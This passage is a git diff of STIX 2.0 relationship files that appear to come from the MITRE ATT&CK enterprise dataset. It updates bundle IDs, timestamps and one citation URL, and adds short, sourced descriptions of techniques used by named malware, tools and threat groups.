index 906b5aae68..d9a534c46c 100644
--- a/enterprise-attack/relationship/relationship--678be242-66fd-40b8-bbf1-24c3dda77895.json
+++ b/enterprise-attack/relationship/relationship--678be242-66fd-40b8-bbf1-24c3dda77895.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7eb25e68-6a87-4f6c-9b42-76c6b27ce513",
+    "id": "bundle--5169dc8d-6d37-42de-ac8b-e986fe5a5fc0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--678be242-66fd-40b8-bbf1-24c3dda77895",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8",
             "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
diff --git a/enterprise-attack/relationship/relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c.json b/enterprise-attack/relationship/relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c.json
index c0b60225ca..71c7107ae5 100644
--- a/enterprise-attack/relationship/relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c.json
+++ b/enterprise-attack/relationship/relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ef95215-4833-4189-8110-947c00583040",
+    "id": "bundle--18b8d105-e5a3-48ee-9cf7-e3b8f84eb525",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke can download additional encrypted backdoors onto the victim via GIF files.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
diff --git a/enterprise-attack/relationship/relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6.json b/enterprise-attack/relationship/relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6.json
index 68f8042e4a..e1845192e1 100644
--- a/enterprise-attack/relationship/relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6.json
+++ b/enterprise-attack/relationship/relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31ba5931-700a-44be-bf30-8d3c017262d1",
+    "id": "bundle--2cbf0984-67f3-482a-85aa-cb532aaf0c90",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--67bde2b2-49d1-4a61-8fe7-1a48c58089e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
             "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
diff --git a/enterprise-attack/relationship/relationship--67f19627-27a5-4898-bab5-7b235aa4ad77.json b/enterprise-attack/relationship/relationship--67f19627-27a5-4898-bab5-7b235aa4ad77.json
index fe9d2fd5fa..7c4e0cb2de 100644
--- a/enterprise-attack/relationship/relationship--67f19627-27a5-4898-bab5-7b235aa4ad77.json
+++ b/enterprise-attack/relationship/relationship--67f19627-27a5-4898-bab5-7b235aa4ad77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0afd660-8a5c-4bec-ae6b-2424b566a751",
+    "id": "bundle--e9fe1f27-9dda-478c-b00e-9acbefe08c87",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--67f19627-27a5-4898-bab5-7b235aa4ad77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors used the native at Windows task scheduler tool to use scheduled tasks for execution on a victim network.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
diff --git a/enterprise-attack/relationship/relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2.json b/enterprise-attack/relationship/relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2.json
new file mode 100644
index 0000000000..9329fecb80
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2faa4c93-1089-443c-a9de-f40a53c76571",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  variants use raw TCP for C2.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--68487d82-458b-4f45-b1c8-c6e4affaa226.json b/enterprise-attack/relationship/relationship--68487d82-458b-4f45-b1c8-c6e4affaa226.json
index 75d83dbcc0..a09d606150 100644
--- a/enterprise-attack/relationship/relationship--68487d82-458b-4f45-b1c8-c6e4affaa226.json
+++ b/enterprise-attack/relationship/relationship--68487d82-458b-4f45-b1c8-c6e4affaa226.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--151b41a2-c0d8-4048-b260-926e71fd7acf",
+    "id": "bundle--6bc2b5c0-00ff-4c24-8dc3-a0974180d7a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--6863078f-fe93-4b84-ad7f-dffe494d9265.json b/enterprise-attack/relationship/relationship--6863078f-fe93-4b84-ad7f-dffe494d9265.json
index fddf67676b..6cc7f44d86 100644
--- a/enterprise-attack/relationship/relationship--6863078f-fe93-4b84-ad7f-dffe494d9265.json
+++ b/enterprise-attack/relationship/relationship--6863078f-fe93-4b84-ad7f-dffe494d9265.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--070b7c25-f5d0-4180-8a27-9d4709212506",
+    "id": "bundle--96fda751-d746-4f8a-8df8-e8a1180199a3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6863078f-fe93-4b84-ad7f-dffe494d9265",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can steal access tokens from exiting processes and make tokens from known credentials.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6.json b/enterprise-attack/relationship/relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6.json
index 17e1668478..30023c1b62 100644
--- a/enterprise-attack/relationship/relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6.json
+++ b/enterprise-attack/relationship/relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a3d45c97-4aba-4f0f-9b88-e86abfecbc5d",
+    "id": "bundle--6c23f5ef-c89b-42fe-93b7-0db07cf297cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to open a command shell.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b.json b/enterprise-attack/relationship/relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b.json
index b406067f56..2d61a41040 100644
--- a/enterprise-attack/relationship/relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b.json
+++ b/enterprise-attack/relationship/relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--327f52b9-56ed-4050-a035-99371ff5993b",
+    "id": "bundle--22cf91a4-405b-4dc1-8370-cc8f4ba47b56",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--68bbad6c-1685-4275-bd36-b885a64caf6d.json b/enterprise-attack/relationship/relationship--68bbad6c-1685-4275-bd36-b885a64caf6d.json
index e86eff9fc1..979d27e348 100644
--- a/enterprise-attack/relationship/relationship--68bbad6c-1685-4275-bd36-b885a64caf6d.json
+++ b/enterprise-attack/relationship/relationship--68bbad6c-1685-4275-bd36-b885a64caf6d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de54955d-9302-4a09-88c0-1be45865786b",
+    "id": "bundle--35bafc3e-629c-4b23-9609-8b092bd4af8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--68bbad6c-1685-4275-bd36-b885a64caf6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise encrypts several of its files, including configuration files.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2.json b/enterprise-attack/relationship/relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2.json
new file mode 100644
index 0000000000..2576918f65
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4f711366-d5b1-411e-86ca-3bf2af563606",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that exfiltrates data over the C2 channel.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1.json b/enterprise-attack/relationship/relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1.json
index 1a842f01a5..3f6be13bb0 100644
--- a/enterprise-attack/relationship/relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1.json
+++ b/enterprise-attack/relationship/relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2580fdd9-42a1-4f4c-8146-840fe52718c5",
+    "id": "bundle--ccf46f24-d8e2-4563-8092-7f3084e7e0cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
diff --git a/enterprise-attack/relationship/relationship--69682171-e717-4af7-a24a-06a39f381641.json b/enterprise-attack/relationship/relationship--69682171-e717-4af7-a24a-06a39f381641.json
index cc2f6f4cfb..6d8ac27ec7 100644
--- a/enterprise-attack/relationship/relationship--69682171-e717-4af7-a24a-06a39f381641.json
+++ b/enterprise-attack/relationship/relationship--69682171-e717-4af7-a24a-06a39f381641.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea2878f3-9b6a-485c-aa56-f9c157402caf",
+    "id": "bundle--d38a05bc-0d74-4ca3-8cf9-e518b1e19498",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69682171-e717-4af7-a24a-06a39f381641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use nbtscan to discover vulnerable systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd.json b/enterprise-attack/relationship/relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd.json
new file mode 100644
index 0000000000..822d1cf728
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3ed8e32e-0882-4c5b-a8c2-682ca11ac0e1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The executable version of Helminth has a module to log keystrokes.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--699ddfef-6e95-42cf-b212-dc661f790adc.json b/enterprise-attack/relationship/relationship--699ddfef-6e95-42cf-b212-dc661f790adc.json
index 24d5862333..2fba456be2 100644
--- a/enterprise-attack/relationship/relationship--699ddfef-6e95-42cf-b212-dc661f790adc.json
+++ b/enterprise-attack/relationship/relationship--699ddfef-6e95-42cf-b212-dc661f790adc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0ef5481-7e55-41b8-8bd5-279574b9fd95",
+    "id": "bundle--b3d06b48-9ee9-4d77-9ea7-f536f4fc5c70",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--699ddfef-6e95-42cf-b212-dc661f790adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families gather a list of running processes on a victim system and send it to their C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013.json b/enterprise-attack/relationship/relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013.json
index 5d5c3c5bef..2d91bd92f2 100644
--- a/enterprise-attack/relationship/relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013.json
+++ b/enterprise-attack/relationship/relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0e066e2-f75e-49bb-be85-e9ee9e1434d0",
+    "id": "bundle--2cecad52-3772-4e0b-b4de-6e76b7a13105",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HIDEDRV is a rootkit that hides certain operating system artifacts.",
             "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
diff --git a/enterprise-attack/relationship/relationship--69bff194-c90e-4e30-a369-57da4cff014d.json b/enterprise-attack/relationship/relationship--69bff194-c90e-4e30-a369-57da4cff014d.json
index 05d159b43b..cf59cfda0f 100644
--- a/enterprise-attack/relationship/relationship--69bff194-c90e-4e30-a369-57da4cff014d.json
+++ b/enterprise-attack/relationship/relationship--69bff194-c90e-4e30-a369-57da4cff014d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a7f5309-2058-4b95-ac2f-52cf6c88a31a",
+    "id": "bundle--f5dfc992-7eba-4cf3-ac4e-c6ddc27fdafe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69bff194-c90e-4e30-a369-57da4cff014d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to modify the Registry.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5.json b/enterprise-attack/relationship/relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5.json
index 955eaa99ed..f282bfc289 100644
--- a/enterprise-attack/relationship/relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5.json
+++ b/enterprise-attack/relationship/relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a18f5db8-f9bd-4bec-b79a-eb92ce894686",
+    "id": "bundle--ac933e8b-fa82-4118-a311-fa100477aa63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to set up a proxy tunnel to allow remote host access to an infected host.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist fileless attacks Feb 2017",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.",
-                    "url": "https://securelist.com/blog/research/77403/fileless-attacks-against-enterprise-networks/"
+                    "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--69d05cb2-ded0-4847-b52e-af7af421f303.json b/enterprise-attack/relationship/relationship--69d05cb2-ded0-4847-b52e-af7af421f303.json
index eecf102151..861cfe442d 100644
--- a/enterprise-attack/relationship/relationship--69d05cb2-ded0-4847-b52e-af7af421f303.json
+++ b/enterprise-attack/relationship/relationship--69d05cb2-ded0-4847-b52e-af7af421f303.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64150112-e6b1-4fa7-a995-75f3fa4a5008",
+    "id": "bundle--ac28af23-06b9-487b-b4ef-c373e52b0d03",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69d05cb2-ded0-4847-b52e-af7af421f303",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can use Windows Authentication Packages for persistence.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
diff --git a/enterprise-attack/relationship/relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22.json b/enterprise-attack/relationship/relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22.json
new file mode 100644
index 0000000000..34ff3e3891
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--aa8aba2b-606c-4bc6-88ab-1dad2134d05c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT28 has delivered JHUHUGIT by executing PowerShell commands through DDE in Word documents. ",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "external_references": [
+                {
+                    "source_name": "McAfee APT28 DDE1 Nov 2017",
+                    "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.",
+                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/"
+                },
+                {
+                    "source_name": "McAfee APT28 DDE2 Nov 2017",
+                    "description": "Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.",
+                    "url": "http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa.json b/enterprise-attack/relationship/relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa.json
index 56f02d2c6e..2584aa2b58 100644
--- a/enterprise-attack/relationship/relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa.json
+++ b/enterprise-attack/relationship/relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2fdaeef-7a9d-4b9f-89de-60cdf921904a",
+    "id": "bundle--871046e5-c4ac-47f4-a493-41668c56a9da",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
diff --git a/enterprise-attack/relationship/relationship--6a1693a7-1e85-48b6-9097-11339a987099.json b/enterprise-attack/relationship/relationship--6a1693a7-1e85-48b6-9097-11339a987099.json
index 3693caac4f..c53947973f 100644
--- a/enterprise-attack/relationship/relationship--6a1693a7-1e85-48b6-9097-11339a987099.json
+++ b/enterprise-attack/relationship/relationship--6a1693a7-1e85-48b6-9097-11339a987099.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8d66b61-bf11-43fb-b11f-23ae414b0695",
+    "id": "bundle--37d5eda9-f679-4d2f-8844-c76f730f07d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6a1693a7-1e85-48b6-9097-11339a987099",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After re-establishing access to a victim network, Threat Group-3390 actors download tools including gsecdump and WCE that are staged temporarily on websites that were previously compromised but never used.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--6a58662b-4eb1-4172-b387-13e9b574368a.json b/enterprise-attack/relationship/relationship--6a58662b-4eb1-4172-b387-13e9b574368a.json
index 8e22916740..13093cc796 100644
--- a/enterprise-attack/relationship/relationship--6a58662b-4eb1-4172-b387-13e9b574368a.json
+++ b/enterprise-attack/relationship/relationship--6a58662b-4eb1-4172-b387-13e9b574368a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2f0fe37d-e92c-443b-88b8-19d08bf5f3aa",
+    "id": "bundle--b6e491e8-5c05-43e5-8733-7f99158ac66b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6a58662b-4eb1-4172-b387-13e9b574368a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
